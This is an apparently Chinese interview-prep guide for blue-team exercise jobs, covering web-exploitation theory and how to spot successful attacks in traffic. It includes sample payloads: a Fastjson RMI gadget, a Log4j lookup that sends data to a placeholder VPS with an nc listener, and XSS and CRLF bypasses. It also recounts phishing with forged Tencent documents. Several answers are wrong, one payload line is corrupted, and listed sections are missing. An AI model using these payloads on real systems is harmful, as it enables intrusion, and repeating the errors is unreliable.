文章目录
- 一、护网项目经验
- 二、渗透相关面试题
- 基础端口号以及入侵方式
- OSI七层协议
- **响应状态码都有哪些?**
- **WAF和IPS的区别**
- 盲注是什么?
- java内存马类型
- **内存马有几种类型**
- **shiro反序列化漏洞原理?**
- **shiro550与shiro721的区别:**
- **Apache Log4j2 远程代码执行漏洞原理?**
- bp怎么隐藏不让对方发现
- **fastjson不出网怎么打**
- **Fastjson反序列化漏洞**
- **为什么aspx的权限会比asp的权限更高**
- **Windows和Linux利用REDIS有什么不一样**
- **CRLF注入**
- **反弹shell的原理是什么**
- 文件上传怎么绕过
- csrf跟ssrf区别
- SSRF用哪些协议、函数,怎么绕过,修复
- **xss可以使用哪些标签**
- **XSS弹窗函数和常见的XSS绕过策略?**
- **Mssql xp_cmdshell被禁用了怎么办**
- **XXE中PCDATA和CDATA有什么区别**
- **了解哪些中间件漏洞**
- Kali工具使用
- Burpsuite等工具抓包
- 报错注入的原理是什么?
- Webshell是什么,原理是什么
- 常用的Webshell管理工具
- 冰蝎和菜刀等webshell工具有什么区别?
- Redis未授权有了解吗
- Springboot 有哪些漏洞?
- 常见的网络服务器容器
- 有哪些威胁情报平台
- 序列化与反序列化的区别
- 正向SHELL和反向SHELL的区别
- xxe原理与攻击手法
- xss除了获取cookie还能干什么
- ssrf的原理与危害?
- ssrf和csrf有什么区别?
- 如何寻找注入点
- 有用过sql注入传马吗
- –os-shell的条件
- 内存马免杀有做过吗?具体说说
- 不借助dnslog有办法检测log4j2是否出网吗
- 你是如何验证struts2是否存在的
- 数据库有哪些,关系型的和非关系型的分别是哪些
- PHP代码执行的危险函数
- PHP命令执行函数
- linux和windows怎么判断
- 什么是免杀
- 免杀有几种途径?
- Java常见的框架中间件及漏洞
- 云函数了解吗,怎么防御
- 三、流量分析面试题
- **响应状态码都有哪些?**
- **常见webshell管理工具交互流量特征都有哪些?**
- **内存马**
- **流量层面分析shiro反序列化漏洞是否攻击成功?**
- **在发生命令执行攻击时,如何判断是struts2漏洞执行命令?**
- **威胁情报类告警产生误报的原因是什么?**
- **如何分析文件上传告警是否攻击成功?**
- **如何判断Cobalt Strike攻击流量?**
- **发生挖矿木马事件通过流量层面如何判断真实性?**
- **流量层面分析Apache Log4j2 远程代码执行漏洞是否攻击成功?**
- **如何研判sql注入类型告警事件?**
- **如何研判JBOSS 反序列化漏洞攻击成功?**
- **如何研判Fastjson反序列化漏洞攻击成功?**
- **log4j特征,如何判断他攻击成功没**
- **SQL注入攻击通常具有以下特征:**
- **几万条告警,怎么快速找到攻击成功的告警,哪些是误报**
- 如果看到一条sql注入告警,怎么判断是否是攻击成功?
- 文件上传的攻击特征是什么
- 怎么通过流量分析 ,判断出对方攻击成功了?
- 如果攻击的回显有延迟或者说攻击生效需要一定的时间你不能很快看见 ,那该怎么通过流量分析判断出攻击是否生效了?
- **struts2命令执行的流量特征**
- 四、内网相关面试题
- 五、应急响应面试题
- 1.内存马应急(重点)
- 2.溯源
- **溯源有哪些思路**
- **应急响应要干什么啊**
- **应急响应流程**
- 安全设备发现一台Linux主机触发挖矿告警,上机排查该机器执行ps,top命令未发现挖矿及恶意进程,现在怀疑ps,top命令被替换,动态链接库被劫持,请问应该如何处理?**
- **如何分析排查钓鱼邮件事件?**
- 怎么排查 0day
- 一台机子失陷了,因业务需要不能断网,怎么处理
- 内网机子失陷,怎么做
- **linux的日志存放在哪个目录下**
- win登录日志怎么看,判断是否登录成功
- windows事件ID一般是多少
- **Linux后门排查哪些东西**
- Linux怎么查看程序调用了哪些文件
- **判断自己是否给getshell(就是给用D盾查杀)**
- 挂马怎么排查啊(xss webshell)
- **webshell检测思路**
- **网页被挂马了,可能有哪些原因**
- 网站被挂马如何应急
- 分析日志用什么工具啊
- **webshell杀了以后,还有外连流量怎么办应急**
- 入侵排查的流程
- **如何判断是钓鱼邮件**
- 怎么防范邮件钓鱼
- **针对dnslog的反制**
- **网络基线加固思路**
- **怎么修改TTL值**
- 一台主机在内网进行横向攻击,你应该怎么做
- SQL注入的预防
- 如何查看当前进程?
- 临时目录是哪个文件夹?
- 用户列表是在哪个目录下(如何查看Linux有哪些用户)
- 和甲方上报 IP 地址,你要上报哪些地址呢?
一、护网项目经验
1.项目经验
Hvv的分组和流程
HW分为蓝队和红队,红队为常说的攻击队,蓝队为防守队。蓝队一般分为初级监测组,中级研判组,高级应急溯源组;
流程介绍:一般开始前会进行资产梳理,并通过漏洞扫描,渗透测试以及基线检查等做一些自查,一是可以减少暴漏面,二是减少一些风险点。有些厂商还会利用几天的时间进行一次内部演练,及时发现疏忽处并进行相应整改;
作为一个新手小白,主要做的就是坚守岗位,监测与甲方合作的安全厂商的一些监测设备,进行日志分析、IP封堵等,其实这些都没有什么技术含量,懂web安全和渗透测试基础的基本一看就会熟悉了,当然,部分厂商会对自己的合作伙伴们进行短期的产品培训。
有没有遇到过有意思的逻辑漏洞?
答:通过前端接口拼接发现信息泄露,包括姓名和手机号等信息,在忘记密码处根据上述信息泄露收集的手机号,对其中一个手机号进行密码修改,获取手机验证码后,任意输入手机验证码,进行抓包,修改响应包参数success为true,放包后显示密码修改成功,密成功登录那个账号的员工后台
有没有自己开发过武器/工具?
答:蜜罐,复刻的
有做过代码审计吗?有0day吗
答:没有,没有
有cve/cnvd吗?
答:我菜,没有
有src排名吗?
答:我菜,没有
有没有写过技战法
有
有钓鱼经历吗?具体说说
答:伪造腾讯在线文档,二维码等骗取信息
你在hvv/攻防演练中取得了哪些成绩?
答:这是第二次参加国家级护网,一共阻断超3000个恶意IP;应急多起蠕虫病毒告警
2.简历包装
简单自我介绍
面试官您好,我是xxx。熟悉常见的TOP10漏洞,有一定基本漏洞扫描和渗透能力 ,日志分析以及安全设备告警分析,能看懂安全产品,然后在校期间也是参加过项目研发的。
上一个工作的主要内容?
答:主要是进行监测和辅助队友进行一个研判分析,同时负责总结,汇报情况,并申请采取对相应机器进行隔离。
二、渗透相关面试题
基础端口号以及入侵方式
ftp文件传输协议:21,弱口令,匿名登陆
rdp端口:3389,远程代码执行
ssh端口:22,命令注入漏洞
telnet远程连接服务:23,弱口令,暴力破解,提权
smtp邮件协议:25,邮件伪造
pop3协议:110,弱口令
http、https服务:80,443,常见的web攻击
snmp协议:161,爆破
ldap目录访问协议:389,未授权访问,爆破
smb协议:445,永恒之蓝,永恒之黑
rsync应用程序linux:873,未授权访问
mysql:3306,爆破,注入
SQL server:1433,爆破,注入攻击
oracle:1521,爆破,注入攻击
redis:6379,弱口令,未授权访问 连接命令redis-cli
postgresql:5432,注入,爆破
mongodb:27017,爆破,未授权
nfs协议:2049,未授权访问
zookeeper组件:2181,未授权访问
docker:容器,未授权访问,docker逃逸
zebra路由协议套件:弱口令,信息泄露
squid代理服务器软件:3128,远程命令执行
svn版本控制系统:3690,信息泄露,远程代码执行
rundeck服务平台:4440,跨站请求伪造。
vnc远程桌面共享协议:5900,弱口令,未授权
couchdb数据库:5984,任意命令执行漏洞,越权
weblogic中间件:7001,反序列化,任意文件上传,未授权
zabbix网络监控工具:10050,代码执行,登陆绕过
tomcat中间件:8080,远程代码执行,反序列化,弱口令
jboss中间件:8080,反序列化,未授权
jetty中间件:8080、8443,敏感信息泄露
jenkins中间件:8080,反序列化,远程代码执行,信息泄露
apache activemq后台服务:开源信息代理,用于实现消息传递模式。远程代码执行
fastcgi框架:未授权,ssrf
Hadoop框架:未授权,远程代码执行
elasticsearch监听端口:是一个搜索引擎 9200,未授权访问,命令执行,目录穿越
webmin-web控制面板:系统管理工具,管理unix系统web界面控制面板。远程命令执行
memcached监听端口:是一个内存缓存软件。11211,未授权,命令执行
OSI七层协议
物理层
数据链路层
网络层
传输层
会话层
表示层
应用层
响应状态码都有哪些?
- 404:404 状态码表示请求资源不存在,即表示攻击失败;
- **200:**200 状态码表示请求成功,但是请求成功并不代表攻击成功,具体需要结合请求与 响应进行判断;如下图攻击中,攻击者尝试利用 Struts2 远程代码执行漏洞(S2-045)对目标 系统进行攻击,响应状态码为 200。该漏洞攻击载荷在 HTTP 请求头部的 Content-Type,分 析该攻击载荷,如果漏洞存在的话会在响应的头部添加 testvuln 字段,值为 1234x1234 即 1522756。分析响应的头部,并未发现存在 testvuln 字段,因此研判该漏洞攻击未成功。
- 401:401 状态表示未授权状态。该状态码返回常见于 HTTP 的 Basic 认证。
- 500:500 状态码表示服务器内部错误,通常漏洞攻击也会导致出现 500 错误,但是出现 500 错误并不表示攻击失败,需要根据实际情况研判。
- 301:本状态码将浏览器【永久重定向】到另外一个在Location消息头中指定的URL。以后客户端应使用新URL替换原始URL。
- 302:本状态码将浏览器【暂时重定向】到另外一个在Location消息头中指定的URL.客户端应在随后的请求中恢复使用原始URL.
WAF和IPS的区别
答:IPS位于防火墙和网络的设备之间,防火墙可以拦截底层攻击行为,但对应用层 的深层攻击行为无能为力。IPS是对防火墙的补充。综合能力更强一些;WAF是工作在应用层的防火墙,主要对web请求/响应进行防护。
盲注是什么?
就是你在测试注入数据库的时候,数据库没有任何回显,只显示对错。
java内存马类型
filter listener servlet websocket javaagent
内存马有几种类型
内存马是一种在受感染的主机内存中运行的恶意软件。一般来说,内存马可以分为以下几种类型:
注入型内存马:通过利用漏洞将恶意代码注入到正常进程中,从而在内存中运行。
自执行型内存马:将恶意代码写入自启动项,启动后自动运行。
进程注入型内存马:利用进程注入技术,在受感染进程的内存中运行恶意代码。
Hook型内存马:利用Windows API的Hook机制,修改进程中的关键函数,从而运行恶意代码。
要判断内存马的类型,可以使用反病毒软件或专门的安全工具对受感染主机进行扫描和分析。一般来说,不同类型的内存马会留下不同的痕迹和特征,比如某些进程的不正常行为、异常的网络连接等等。
针对不同类型的内存马,处理方法也会有所不同。一般来说,可以采取以下措施:
注入型内存马:修复漏洞、升级软件,加强网络安全防护等方法来预防类似攻击;对已经感染的主机,可以通过杀掉受感染进程或卸载恶意程序等方式来清除内存马。
自执行型内存马:可以通过清理自启动项、卸载恶意程序等方式来清除内存马。
进程注入型内存马:可以通过杀掉受感染进程或卸载恶意程序等方式来清除内存马。
Hook型内存马:可以通过还原Hook、修复关键函数、杀掉受感染进程或卸载恶意程序等方式来清除内存马。
shiro反序列化漏洞原理?
浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。但是在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值在整个漏洞利用过程中,比较重要的是AES加密的密钥如果没有修改默认的密钥那么就很容易就知道密钥了
shiro550与shiro721的区别:
1、这两个漏洞主要区别在于Shiro550使用已知密钥碰撞,只要有足够密钥库(条件较低),不需要Remember Cookie
2、Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击,难度较高
Apache Log4j2 远程代码执行漏洞原理?
Apache Log4j2 框架中存在一个名为 JNDI Lookup 的功能,它允许通过配置文件中的 JNDI 名称引用外部资源。攻击者构造一个特殊的日志消息,其中包含恶意的 JNDI 名称,并通过网络发送给受影响的应用程序。当应用程序使用 Log4j2 框架解析日志消息时,它会尝试查找和引用该 JNDI 名称。如果恶意的 JNDI 名称指向一个恶意的远程资源,例如恶意的 LDAP 服务器或 RMI 服务,攻击者可以控制该远程资源的内容和行为。攻击者可以在恶意的远程资源中注入恶意代码,并在目标系统上执行任意命令或获取敏感信息。
bp怎么隐藏不让对方发现
- 代理设置-其他设置-禁用http://brup…
- 代理设置-其他设置-忽略brup错误
fastjson不出网怎么打
使用Fastjson的黑名单功能:Fastjson提供了一个黑名单功能,可以用于禁止某些Java类的序列化和反序列化,可以通过设置一些敏感类的黑名单,禁止序列化和反序列化这些类,从而避免一些恶意攻击。
对Fastjson进行安全加固:对Fastjson进行安全加固,可以避免恶意攻击。可以通过开启自动类型识别检查、限制反序列化对象的深度、限制反序列化对象的大小等措施,提高Fastjson的安全性。
使用其他JSON处理器:如果对Fastjson存在疑虑或者担心其安全性问题,也可以考虑使用其他JSON处理器,比如Jackson、Gson等。这些处理器同样具有高性能和易用性,并且也可以进行安全加固。
fastjson 反序列化攻击是一种严重的安全漏洞,可能会导致应用程序受到攻击和损失
Fastjson反序列化漏洞
判断:
正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。
原理:
fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。
fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,
如果类中存在恶意方法,就会导致代码执行等这类问题。
无回显怎么办:
1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果
2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了
3.直接将命令执行结果回显到请求Poc的HTTP响应中
利用fastjson注入内存马原理
不知道这里应该怎么说,例如spring mvc的话就是通过fastjson的反序列化,利用jndi的方式让web端加载恶意类,注入controller
为什么aspx的权限会比asp的权限更高
ASPX 和 ASP 都是用于创建动态Web页面的技术,但它们的实现方式略有不同。
ASP 是经典的ASP技术,它使用VBScript或JScript等脚本语言创建动态Web页面。在ASP中,权限控制是通过服务器操作系统的权限机制实现的。
而ASPX是ASP.NET技术中的一部分,它使用C#、VB.NET等编程语言创建Web页面。在ASP.NET中,权限控制是通过.NET框架提供的安全机制实现的。这些机制包括代码访问安全性、角色管理和基于表单的身份验证等。
因此,ASPX的权限控制比ASP更高,因为它基于.NET框架提供的安全机制,这些机制比操作系统的权限机制更强大和灵活。此外,ASPX还提供了更多的安全选项,例如加密会话状态和防止跨站点脚本攻击等。
Windows和Linux利用REDIS有什么不一样
redis是一个非关系型数据库,使用的默认端口是6379。常见的漏洞是未授权访问漏洞,攻击者无需认证就可以访问内部数据。
性能:Redis在Linux上运行的性能通常比在Windows上运行的性能更好,这是由于Linux系统的设计和优化使得其能够更好地利用系统资源。
可用性:在Windows上运行Redis时,其可用性通常会受到操作系统的限制,例如系统的最大打开文件数和最大连接数等。而在Linux上,这些限制通常可以通过修改系统配置文件来解决。
安全性:Redis的安全性与其在Windows或Linux上运行的方式无关,但是在实践中,由于Windows和Linux的不同权限模型和安全机制,使用Redis时需要采取不同的安全措施。例如,在Linux上,可以使用文件系统权限和防火墙规则来保护Redis服务器,而在Windows上,需要使用Windows防火墙和用户权限来保护Redis服务器。
CRLF注入
Nginx中常见的中间件漏洞;
CRLF注入(也称为HTTP头注入)是一种攻击技术,攻击者通过注入CRLF字符序列(即回车换行)来改变HTTP头部的内容,从而实现各种攻击目的,例如HTTP响应拆分、HTTP重定向、会话劫持等。
攻击者通常会将CRLF字符序列注入到HTTP请求或响应的参数中,例如Cookie、User-Agent、Referer等。在受害者的Web应用程序中,如果没有对这些参数进行有效的输入验证和过滤,那么CRLF字符序列就会被当作有效的HTTP头部分隔符,并导致HTTP头部的内容被注入。
例如,攻击者可以将以下内容作为User-Agent参数发送给Web应用程序:
User-Agent: <script>alert('CRLF Injection')</script>\r\n\r\nHTTP/1.1 200 OK
在这个例子中,攻击者在User-Agent参数中注入了CRLF字符序列,以便将HTTP响应头部分隔为两个部分。第一个部分是攻击者自己构造的HTTP响应头部分,第二个部分则是Web应用程序返回的HTTP响应体。
如果Web应用程序没有对这个User-Agent参数进行有效的输入验证和过滤,那么攻击者就可以成功地将自己构造的HTTP响应头部发送给受害者浏览器,从而实现各种攻击目的。例如,攻击者可以在自己构造的HTTP响应头中设置Location字段,将用户重定向到恶意站点,从而实现HTTP重定向攻击。或者攻击者可以在自己构造的HTTP响应头中设置Set-Cookie字段,从而实现会话劫持攻击。
为了防止CRLF注入攻击,Web应用程序应该对所有HTTP请求和响应参数进行有效的输入验证和过滤,包括Cookie、User-Agent、Referer等。在输入验证和过滤时,应该使用白名单过滤的原则,只允许合法的字符集通过,而拒绝所有不合法的字符。同时,Web应用程序应该使用最新的安全框架和库来保护自己,以及及时更新系统和软件的安全补丁。
反弹shell的原理是什么
利用TCP协议传了一个bash环境
文件上传怎么绕过
因为是黑盒测试,你不知道它的检测规则是怎么样的,看看对哪方面做了检测,有可能只是前端检测,再针对的去绕过,一般的话我先根据后端语言去跑一遍后缀名字典,然后去尝试各种方法,例如变换大小写,插入各种特殊字符像%00、单引号、换行符,去构造一些畸形的数据包
csrf跟ssrf区别
CSRF (Cross-site request forgery)跨站请求伪造SSRF (Server-Side Request Forgery)服务器端请求伪造csrf 一个是客户端发起,ssrf是从服务端发起的
SSRF用哪些协议、函数,怎么绕过,修复
file、dict、ldap、gopher,可以利用curl函数、file_get_contents()函数、fsockopen()
绕过:使用短网址、进制转换、302跳转、DNS重绑
修复:禁止不需要的协议、设置URL白名单、统一返回信息、限制请求的端口
xss可以使用哪些标签
这个太多了,常用的就
<script><a<iframe<EMBED<svg<body <object<form<img
XSS弹窗函数和常见的XSS绕过策略?
- **弹窗函数:**alert、confirm、prompt、onclick
- **绕过策略:**大小写混写;双写;<img/src=1>;%0a或者%0d绕过;拼凑绕过
Mssql xp_cmdshell被禁用了怎么办
先看看能不能手动启用,不能的话看看有没有其他的扩展存储可以利用,有的可以执行系统命令,记得有的可以直接操作注册表,也可以利用CLR技术,类似于mysql中的UDF吧,可以直接使用16进制代码来创建自定义函数
XXE中PCDATA和CDATA有什么区别
PCDATA就是被解析的字符数据,会被解析,CDATA属于不会被解析器解析的文本
了解哪些中间件漏洞
IIS有解析漏洞,PUT任意文件写入漏洞,短文件漏洞,Apache也有解析漏洞,然后目录遍历遇到的比较多,Tomcat的话war后门部署、远程代码执行,jBoss和WebLogic的话就反序列化漏洞,weblogic还有ssrf漏洞,任意文件上传
Kali工具使用
wireshark
Burpsuite等工具抓包
开代理,将关键数据send to repeater,修改
报错注入的原理是什么?
在MYSQL中使用一些指定的函数来人为制造报错,后台没有屏蔽数据库报错信息, 在语法发生错误使得查询结果能够出现在错误信息中回显在前端,从而从报错信息中获取设定的信息。
Webshell是什么,原理是什么
WebShell就是一句话木马,由于脚本语言的动态性,木马文件通过命令执行system函数或者代码执行eval函数等,参数为用户外部传入(如GET传参,POST传参)达到执行任意代码任意命令的功能。从而远程控制目标主机
常用的Webshell管理工具
冰蝎,蚁剑,哥斯拉,菜刀
冰蝎和菜刀等webshell工具有什么区别?
答:冰蝎有流量动态加密
Redis未授权有了解吗
答:有,可以配合ssrf打组合拳
Springboot 有哪些漏洞?
答:只知道一个snakeyaml
常见的网络服务器容器
IIS、Apache、nginx、Lighttpd、Tomcat
有哪些威胁情报平台
微步,绿盟,阿里云,奇安信等
序列化与反序列化的区别
序列化:把对象转化为可传输的字节序列过程称为序列化
反序列化:把字节序列还原为对象的过程称为反序列化
正向SHELL和反向SHELL的区别
正向shell,攻击者连接被攻击者机器反向shell,被攻击者主动连接攻击者正向代理,客户端代理,服务器不知道实际发起请求的客户端反向代理,服务器代理,客户端不知道实际提供服务的服务端
xxe原理与攻击手法
答:解析XML输入时可以加载外部实体类,造成文件读取,命令执行等危害。直接dtd加载dnslog等等
xss除了获取cookie还能干什么
答:用户劫持、结合csrf补充:貌似能提权?
ssrf的原理与危害?
答:伪造服务器给内网发消息
ssrf和csrf有什么区别?
答:csrf伪造客户端,ssrf伪造服务器端
如何寻找注入点
答:字符,数字,盲注…
有用过sql注入传马吗
答:用过into outfile补充:可以通过日志文件写入木马
–os-shell的条件
答:拥有网站的写入条件补充:Secure_file_priv参数为空或者为指定路径。
内存马免杀有做过吗?具体说说
答:没做过,在网上找现成的补充:Filter名称是否合理Filter对应的类名是否合理Filter对应的类是否在classpath下网站web.xml中是否存在改filter
不借助dnslog有办法检测log4j2是否出网吗
答:dns到vps判断是否出网补充:使用logg.error(“KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …s://xxxxx:8090/{java:version}}”);在自己的VPS上nc -luvvp 8090即可收到信息
你是如何验证struts2是否存在的
答:检测工具,或者抓包,改post,把content-Type改为application/xml,放上payload
数据库有哪些,关系型的和非关系型的分别是哪些
#### 关系型
MySQL:3306
SQL Server:1433
Oracle:1521
DB2:5000
MongoDB:27017
#### 非关系型
Redis:6379
Memcached:11211
PHP反序列化
PHP代码执行的危险函数
call_user_func()
call_user_func_array()
create_function()
array_map()
PHP命令执行函数
system
shell_exec
passthru
exec
popen
proc_open
putenv
assert
linux和windows怎么判断
linux大小写敏感
什么是免杀
将shellcode进行加密,动态解密恢复,申请可写可执行内存并写入解密后的shellcode,将函数指针指向这块内存的起始位置并开始执行。
免杀有几种途径?
答:修改特征码、流量混淆、花指令、加壳
Java常见的框架中间件及漏洞
struct2框架
一个基于MVC设计模式的Web应用框架)这个框架全是漏洞
fastjson框架
阿里巴巴开源的JSON工具解析库1.2.47版本前存在反序列化漏洞框架特征:post数据包,content-type为application/json, post内容为json数据,且其中有@type标识
比如
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true }}
shiro框架
apache的一个权限管理的开源框架,实现 用户认证、用户授权。若shiro框架服务端使用默认密钥,则会存在反序列化漏洞框架特征:cookie字段为存在rememberMe=xxxxx;
weblogic容器
一个基于JAVAEE架构的中间件weblogic存在许多漏洞,弱口令,SSRF,反序列化,任意文件上传,XMLDecoder反序列化框架特征,一般在7001端口,漏洞检测常用工具
tomcat容器
最常见的java web容器漏洞,弱口令,幽灵猫,PUT方法任意写文件框架特征,一般为8080端口
云函数了解吗,怎么防御
- C2客户端发出的流量经过云函数转发到达C2服务器,因为云函数的服务器是自带CDN的,从而达到隐藏的效果。
- 封禁域名apigw.tencentcs.com
三、流量分析面试题
响应状态码都有哪些?
不管是对于什么 WEB 漏洞攻击的研判,响应状态码都是研判成功与否的首要研判依据, 如果响应状态码为 404 基本可以研判攻击失败,也就无需再根据请求响应等进一步研判了。(当然,这并不是绝对的,也有例外的情况,攻击者在一些情况下也可以篡改响应状态码, 如 WebShell 的响应状态码。现在这种情况不多见,暂时可以先不考虑)
- 404:404 状态码表示请求资源不存在,即表示攻击失败;
- **200:**200 状态码表示请求成功,但是请求成功并不代表攻击成功,具体需要结合请求与 响应进行判断;如下图攻击中,攻击者尝试利用 Struts2 远程代码执行漏洞(S2-045)对目标 系统进行攻击,响应状态码为 200。该漏洞攻击载荷在 HTTP 请求头部的 Content-Type,分 析该攻击载荷,如果漏洞存在的话会在响应的头部添加 testvuln 字段,值为 1234x1234 即 1522756。分析响应的头部,并未发现存在 testvuln 字段,因此研判该漏洞攻击未成功。
- 401:401 状态表示未授权状态。该状态码返回常见于 HTTP 的 Basic 认证。
- 500:500 状态码表示服务器内部错误,通常漏洞攻击也会导致出现 500 错误,但是出现 500 错误并不表示攻击失败,需要根据实际情况研判。
- 301:本状态码将浏览器【永久重定向】到另外一个在Location消息头中指定的URL。以后客户端应使用新URL替换原始URL。
- 302:本状态码将浏览器【暂时重定向】到另外一个在Location消息头中指定的URL.客户端应在随后的请求中恢复使用原始URL.
常见webshell管理工具交互流量特征都有哪些?
菜刀特征:
默认的webshell中链接密码都是caidao,ua头为百度爬虫、请求体中存在eavl,base64等特征字符
响应包中包含X@Y、php的webshel中流量参数z0、z1、z2
冰蝎3.0
默认内置 16 个 user-agent,content-type为application/octet-stream**
请求包中content-length 为5740或5720(可能会根据Java版本而改变)
**每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache**
冰蝎2.0
建立连接后 所有请求 **Cookie的格式都为: Cookie: PHPSESSID=; path=/;**
静态分析:
各种语言的webshell中都会存在**16位数的连接密码**,默认变量为key
冰蝎3.11流量特征
1、header头顺序是颠倒的
2、发送包是base64,返回包是字节数组,所以会乱码
3、如果冰蝎密码不对,会出现两个连接,第一个是post 第二个是get
4. content-type为application/octet-stream ,请求包中content-length 为5740或5720(可能会根据Java版本而改变),每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache
5.异常User-Agent---- 出现WOW64等
6. 频繁访问默认的路径/conn.jsp
蚁剑
PHP 类 WebShell流量最中明显的特征为 @ini_set ("display_errors","0");
同时会带有base64编码解码等字符特征, **每个请求体都存在@ini_set(“display_errors”, “0”);
@set_time_limit(0)开头**。并且存在base64等字符,响应包的结果返回格式为 随机数 结果 随机数
哥斯拉:
不修改User-Agent,User-Agent会类似于Java/1.8.0_121(具体什么版本取决于JDK环境版本)
在请求包的Cookie中有一个非常致命的特征,最后的分号
标准的HTTP请求中最后一个Cookie的值是不应该出现;的
**请求包的特征**
1. “pass=”起始
2. 请求包较长 响应包为0
3. 一个tcp包里面有三个http
**响应包特征**
整个响应包的结构体征为:md5前十六位+base64+md5后十六位
哥斯拉4.0.1中JAVA_AES_BASE64特征流量特征
host头
密码和base64字符串是密码=base64字符串的形式
发送包是密码=bae64字符串的形式,返回包是类base64字符串的格式
1. 对称加密算法:JAVA_AES_BASE64是哥斯拉4.0.1使用的对称加密算法;因此可以根据哥斯拉4.0.1的流量中是否包含JAVA_AES_BASE64来判断是否为哥斯拉4.0.1攻击流量
2. 长度固定:哥斯拉4.0.1使用JAVA_AES_BASE64算法对数据进行加密后,加密后数据的长度是固定的因此,可以根据攻击流量的长度是否固定来判断是否为哥斯拉4.0.1攻击流量
3. 常见数据前缀:哥斯拉4.0.1加密的数据在明文数据前会添加特定的前缀;因此,可以根据攻击流量中是否包含常见的数据前缀来判断是否为哥斯拉4.0.1攻击流量。
内存马
先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志
如果是filter或者listener类型就会有**大量url请求路径相同参数不同的,或者页面不存在但是返回200的**,
查看是否有类似哥斯拉、冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合
通过查找**返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马**
如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,
排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据-
业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
流量层面分析shiro反序列化漏洞是否攻击成功?
1. 在HTTP请求头Cookie里出现rememberMe字段以及可能出现自定义类型例如c: aWQ=,响应体中出现大量编码字符串,若需要判断是否攻击成功,需对请求数据和响应体内容进行解密判断
2. 检查请求头中的"rememberMe" cookie。攻击者可能会在此处插入恶意序列化数据
3. 观察服务器响应。如果服务器返回了异常错误信息,如Java反序列化异常,可能表明攻击成功分析应用程序日志:如果日志中出现了异常堆栈跟踪,可能表明攻击成功例如,攻击者发送了一个包含恶意序列化数据的请求,服务器响应了一个包含Java反序列化异常的错误信息这可能表明攻击成功。
在发生命令执行攻击时,如何判断是struts2漏洞执行命令?
1. 在请求头中存在OGNL表达式,一般在url中会出现的攻击特征主要是:.action?method | ?redirect:$ 在conten-type中出现的攻击特征主要有:%{#context 、在报文体中出现的攻击特征主要有:#_memberAccess 等
2. 判断请求中是否包含特定的 Struts2 关键字,如"method:"、"redirect:"等,这些关键字可能是用于执行命令的操作;
3. 检查请求中是否包含"Content-Type"头字段,并且值为"application/x-www-form-urlencoded",这是 Struts2 框架默认的 Content-Type 值,用于处理 POST 请求;
4. 检查请求参数中是否包含OGNL表达式,如"${}"、"%{}"等字符;
5. 检查请求是否包含一个名为"class"的参数,值为"java.lang.Runtime",这个参数可以用于执行系统命令
威胁情报类告警产生误报的原因是什么?
1、防火墙、邮件网关有发起黑域名解析的行为可能是误报``
2、威胁情报失效了
如何分析文件上传告警是否攻击成功?
1、查看响应体响应结果判断服务器是否接受了该上传请求,上传成功通常状态码为200,查看响应体中是否响应了上传路径,访问该上传路径查看文件是否被解析是否存在
2、通过查看态势感知日志判断文件是否落地
3、登陆受害者主机全局搜索上传文件
如何判断Cobalt Strike攻击流量?
1、http-beacon通信中,默认使用get方法向/dpixel、/__utm.gif、/pixel.gif等地址发起请求,同时请求头存在cookie字段并且值为base64编码
2、dns-beacon通信中,默认使用cdn.、www6.、api.、www.、post.为开头发起dns请求,并且查询结果伴随0.0.0.0、0.0.0.80、0.0.0.241等非常规IP
3、心跳包间隔一定时间,均有通信,且流级上的上下行数据长度固定
4、常见User-Agent:Cobalt Strike通常使用自定义的User-Agent字符串,例如Mozilla/5.0 (Windows NT 10.0; Win64; x64) Cobalt Strike
5、命令和控制流量:Cobalt Strike的HTTP请求中可能包含与C2服务器通信的命令和控制信息,这些信息在正常的Web请求中不会出现。
发生挖矿木马事件通过流量层面如何判断真实性?
1. 通信端口:挖矿木马可能会使用特定的端口进行通信。例如,Monero挖矿木马通常会使用TCP端口3333或5555进行通信
2. 通信流量:挖矿木马的通信流量可能会具有特定的特征,例如大量的高速数据传输和周期性的通信,在数据包中可以看到大量的计算资源使用信息和挖矿结果信息
3. 进程和文件系统:挖矿木马可能会创建特定的进程和文件来执行挖矿操作。例如,Monero挖矿木马通常会在操作系统上创建名为"xmrig"的进程,并在文件系统上创建名为"config.json"的配置文件
4. 系统资源:挖矿木马可能会占用系统资源,例如CPU和内存,并可能导致系统崩溃或变得缓慢。
5. 判断流量的数据:挖矿木马通常会在通信中发送一些特定的数据,例如挖矿难度、钱包地址、挖矿程序版本等如果流量中存在这些数据,就可能存在挖矿木马
